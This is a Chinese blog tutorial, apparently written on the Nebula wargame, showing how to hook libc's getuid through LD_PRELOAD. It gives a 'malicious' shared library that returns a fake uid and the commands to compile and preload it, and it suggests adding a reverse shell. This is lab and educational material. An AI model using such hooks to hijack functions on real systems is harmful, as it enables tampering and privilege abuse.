zoukankan      html  css  js  c++  java
  • 一种简单的hook方法--LD_PRELOAD变量

    LD_PRELOAD这个变量允许你定义在程序运行时优先加载的动态链接库,从而在程序运行时的动态链接

    下面程序的看一个例子-getuid.c

    //getuid.c
    
    #include<stdio.h>
    #include<unistd.h>
    #include<sys/types.h>
    int main(void)
    {
      printf("my uid is %d
    ",getuid());
    }

    //gcc -o getuid getuid.c

    这段程序很简单,就是获取当前的uid

    level13@nebula:/tmp$ ./getuid
    my uid is 1014
    level13@nebula:/tmp$ id
    uid=1014(level13) gid=1014(level13) groups=1014(level13)

    运行后确实拿到了当前用户的uid,下面就通过LD_PRELOAD变量来劫持系统原来的getuid函数,从而改变返回结果

    一、编写恶意getuid()函数

    //muid.c
    
    #include<sys/types.h>
    uid_t getuid(void)
    {
      return 1000;
    }

    //gcc -shared -lc -fPIC -o muid.so muid.c

    我们让恶意getuid函数返回1000这个值

    二、修改LD_PRELOAD变量

    level13@nebula:/tmp$ LD_PRELOAD="/tmp/muid.so"
    level13@nebula:/tmp$ export LD_PRELOAD

    把LD_PRELOAD变量指向我们编译好的恶意getuid函数库

    三、运行getuid程序

    level13@nebula:/tmp$ ./getuid 
    my uid is 1000

    可以看到这里getuid函数已经被劫持了,返回了我们想要的uid值,顺利hook该函数

    我们也可以加入更多恶意代码,比如返弹shell等,经过测试,这种方式可以劫持大部分系统函数,其他理由有待深入挖掘

  • 相关阅读:
    人生转折点:弃文从理
    人生第一站:大三暑假实习僧
    监听器启动顺序和java常见注解
    java常识和好玩的注释
    182. Duplicate Emails (Easy)
    181. Employees Earning More Than Their Managers (Easy)
    180. Consecutive Numbers (Medium)
    178. Rank Scores (Medium)
    177. Nth Highest Salary (Medium)
    176. Second Highest Salary(Easy)
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10399996.html
Copyright © 2011-2022 走看看